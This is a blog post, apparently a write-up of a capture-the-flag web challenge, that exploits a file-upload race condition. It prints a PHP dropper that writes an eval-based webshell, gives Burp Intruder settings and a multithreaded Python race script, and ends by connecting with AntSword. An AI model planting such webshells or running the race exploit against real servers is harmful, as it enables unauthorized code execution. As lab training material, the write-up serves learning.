114,【6】攻防世界 web wzsc_文件上传

进入靶场

传个桌面有的

直接空白了

我们

访问一下上传的东西

/index

没显示用于解析的.htaccess和.user.ini 文件,还两个都不显示

但上传的时候bp查看状态码是200,意味着上传成功了

别的博主说这是服务器在短时间内就立刻将其删掉了,需要采取条件竞争,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。大量的线程用于访问缓存数据,能够快速地从缓存中获取数据

这需要bp来实现(我勒个豆,bp这么高级)

文件名

1.php

文件内容

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

  • 此 PHP 代码的作用是创建一个名为 shell.php 的文件。
  • 并将 <?php @eval($_POST["shell"]); ?> 写入该文件。@eval($_POST["shell"]); 这部分代码会执行通过 POST 请求传递给 shell.php 的任意 PHP 代码

 上传时抓包发到intruder 

点击右边的资源池

右键名称处会自动填写,再设置最大请求数

还需要将攻击荷载设置为空

但是我这块设置不了,为空的时候,右边的payload那块就是空的,类型和无限重复就设置不了 

所以勾选了一个影响不大的东西,这里勾选的东西需要确保置换为空时不产生影响的

上一步实现后,运用大佬的脚本创造shell.php

import requests
import threading
import os# 定义一个继承自 threading.Thread 的类 RaceCondition,用于模拟竞争条件下的文件上传和访问操作
class RaceCondition(threading.Thread):def __init__(self):# 调用父类 threading.Thread 的构造函数进行初始化threading.Thread.__init__(self)# 定义要访问的 URL,这里省略了具体的 URL,实际使用时需要补充完整self.url = '。。。。。。。。。。。。。。'# 定义上传文件的 URL,这里是上传到 shell.php 的地址self.uploadUrl = '。。。。。。。。。。upload/shell.php'# 定义一个私有方法 _get,用于尝试访问已上传的文件def _get(self):# 打印提示信息,表示正在尝试调用已上传的文件print('try to call uploaded file...')# 使用 requests 库发送 GET 请求到指定的 URLr = requests.get(self.url)# 检查响应的状态码是否为 200(表示请求成功)if r.status_code == 200:# 如果请求成功,打印成功信息print('[*] create file shell.php success.')# 退出整个 Python 程序os._exit(0)# 定义一个私有方法 _upload,用于上传文件def _upload(self):# 打印提示信息,表示正在上传文件print('upload file...')# 使用 requests 库发送 GET 请求到上传文件的 URLrs = requests.get(self.uploadUrl)# 检查响应的状态码是否为 200(表示请求成功)if rs.status_code == 200:# 如果请求成功,打印成功信息print('[*] create file shell.php success.')# 退出整个 Python 程序os._exit(0)# 定义线程的运行方法,当线程启动时会自动调用该方法def run(self):while True:# 循环 5 次,调用 _get 方法尝试访问已上传的文件for i in range(5):self._get()# 循环 10 次,每次先调用 _upload 方法上传文件,然后再调用 _get 方法尝试访问已上传的文件for i in range(10):self._upload()self._get()if __name__ == '__main__':# 定义要创建的线程数量为 50threads = 50# 循环创建指定数量的线程实例,并启动这些线程for i in range(threads):# 创建一个 RaceCondition 类的实例t = RaceCondition()# 启动线程t.start()# 循环等待所有线程执行完毕for i in range(threads):# 调用线程的 join 方法,等待线程执行结束t.join()

 最后访问upload发现上传成功时,用蚂剑连接即可,密码就是shell

 终于做出来了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/13501.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

禅道社区版项目管理软件部署(记录篇)

系统要求&#xff08;这里推荐使用docker容器化方式&#xff09;安装前的准备Docker快速安装最后通过查看地址验证是否部署成功开始界面化安装配置 禅道&#xff08;ZenTao&#xff09;是一款国产开源的项目管理软件&#xff0c;专注于敏捷开发流程&#xff0c;支持 Scrum 和 K…

B站自研的第二代视频连麦系统(上)

导读 本系列文章将从客户端、服务器以及音视频编码优化三个层面&#xff0c;介绍如何基于WebRTC构建视频连麦系统。希望通过这一系列的讲解&#xff0c;帮助开发者更全面地了解 WebRTC 的核心技术与实践应用。 背景 在文章《B站在实时音视频技术领域的探索与实践》中&#xff…

Selenium记录RPA初阶 - 基本输入元件

防止自己遗忘&#xff0c;故作此为记录。 爬取网页基本元件并修改后爬取。 包含元件&#xff1a; elements: dict[str, str] {"username": None,"password": None,"email": None,"website": None,"date": None,"ti…

Ubutun本地部署DeepSeek R1

目录 一、本地部署&终端命令行交互 二、网页端交互 三、参考链接 一、本地部署&终端命令行交互 Ollama 是一个轻量级的大语言模型管理工具&#xff0c;支持 Windows / Mac / Linux。 Ollama官网&#xff1a;Ollama # 下载安装ollama curl -fsSL https://ollama.co…

NacosRce到docker逃逸实战

NacosRce到docker逃逸实战 1、Nacos Derby Rce打入内存马 这个漏洞的原理大家应该都知道&#xff0c; 2.3.2 < Nacos < 2.4.0版本默认derby接口未授权访问&#xff0c;攻击者可利用未授权访问执行SQL语句加载构造恶意的JAR包导致出现远程代码执行漏洞。 在日常的漏洞挖…

保姆级教程Docker部署KRaft模式的Kafka官方镜像

目录 一、安装Docker及可视化工具 二、单节点部署 1、创建挂载目录 2、运行Kafka容器 3、Compose运行Kafka容器 4、查看Kafka运行状态 三、集群部署 四、部署可视化工具 1、创建挂载目录 2、运行Kafka-ui容器 3、Compose运行Kafka-ui容器 4、查看Kafka-ui运行状态 …

[创业之路-286]:《产品开发管理-方法.流程.工具 》-1- IPD两个跨职能团队的组织

IPD&#xff08;集成产品开发&#xff09;中的两个重要跨职能组织是IPMT&#xff08;集成产品管理团队&#xff09;和PDT&#xff08;产品开发团队&#xff09;。 在IPD&#xff08;集成产品开发&#xff09;体系中&#xff0c;IRB&#xff08;投资评审委员会&#xff09;、IPM…

【基于SprintBoot+Mybatis+Mysql】电脑商城项目之修改密码和个人资料

&#x1f9f8;安清h&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;【Spring篇】【计算机网络】【Mybatis篇】 &#x1f6a6;作者简介&#xff1a;一个有趣爱睡觉的intp&#xff0c;期待和更多人分享自己所学知识的真诚大学生。 目录 &#x1f383;1.修改密码 -持久…

02.06 网络编程_概述

思维导图 总图&#xff1a;

初阶数据结构:树---堆

目录 一、树的概念 二、树的构成 &#xff08;一&#xff09;、树的基本组成成分 &#xff08;二&#xff09;、树的实现方法 三、树的特殊结构------二叉树 &#xff08;一&#xff09;、二叉树的概念 &#xff08;二&#xff09;、二叉树的性质 &#xff08;三&#…

【LeetCode】day15 142.环形链表II

142. 环形链表 II - 力扣&#xff08;LeetCode&#xff09; 题目描述 给定一个链表的头节点 head &#xff0c;返回链表开始入环的第一个节点。 如果链表无环&#xff0c;则返回 null。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则…

2025.2.6

一、C思维导图&#xff1a; 二、C&#xff1a; 三、注释代码 1> 配置文件&#xff1a;.pro文件 QT core gui # 引入的类库&#xff0c;core表示核心库 gui图形化界面库greaterThan(QT_MAJOR_VERSION, 4): QT widgets # 超过版本4的qt&#xff0c;会自动加widgets…

CSS(三)less一篇搞定

目录 一、less 1.1什么是less 1.2Less编译 1.3变量 1.4混合 1.5嵌套 1.6运算 1.7函数 1.8作用域 1.9注释与导入 一、less 1.1什么是less 我们写了这么久的CSS,里面有很多重复代码&#xff0c;包括通配颜色值、容器大小。那我们能否通过js声明变量来解决这些问题&…

643. 子数组最大平均数 I

目录 一、题目二、思路2.1 解题思路2.2 代码尝试2.3 疑难问题 三、解法四、收获4.1 心得4.2 举一反三 一、题目 二、思路 2.1 解题思路 和之前一样&#xff0c;用一个sum来存储统计情况&#xff0c;窗口滑动边统计&#xff0c;用两个for循环&#xff0c;一个初始化&#xff0…

go数据结构学习笔记

本博文较为完整的实现了go的链表、栈&#xff0c;队列&#xff0c;树&#xff0c;排序&#xff0c;链表包括顺序链表&#xff0c;双向链表&#xff0c;循环链表&#xff0c;队列是循环队列&#xff0c;排序包含冒牌、选择 1.链表 1.1 顺序链表 type LNode struct {data intn…

机器学习--python基础库之Matplotlib (1) 超级详细!!!

机器学习--python基础库Matplotlib 机器学习--python基础库Matplotlib0 介绍1 实现基础绘图-某城市温度变化图1.1绘制基本图像1.2实现一些其他功能 2 再一个坐标系中绘制多个图像3 多个坐标系显示-plt.subplots(面向对象的画图方法)4 折线图的应用场景 机器学习–python基础库M…

Java 23新特性

文章目录 Java 23新特性一、引言二、Markdown文档注释&#xff08;JEP 467&#xff09;示例 三、ZGC&#xff1a;默认的分代模式&#xff08;JEP 474&#xff09;1. 为什么要引入分代模式2. 使用分代模式的优势3. 如何启用分代模式 四、隐式声明的类和实例主方法&#xff08;JE…

【redis】数据类型之string

字符串类型是Redis最基础的数据结构。首先key都是字符串类型&#xff0c;而且其他几种数据结构都是在字符串类型基础上构建的&#xff0c;所以字符串类型能为其他四种数据结构的学习打下基础。 字符串类型的值实际可以是字符串&#xff08;简单的字符串、复杂的字符串&#xf…

前部分知识复习05

一、多级渐远贴图MipMap 选择贴图&#xff0c;可以勾选贴图的多级渐远效果 [IntRange]_MipMap("MipMap",Range(0,12))0 //多级渐远贴图的LOD调节滑杆 _MipMapTexture("MipMapTexture",2D)"white"{} //定义多级渐远贴图 多级渐远贴图的采样…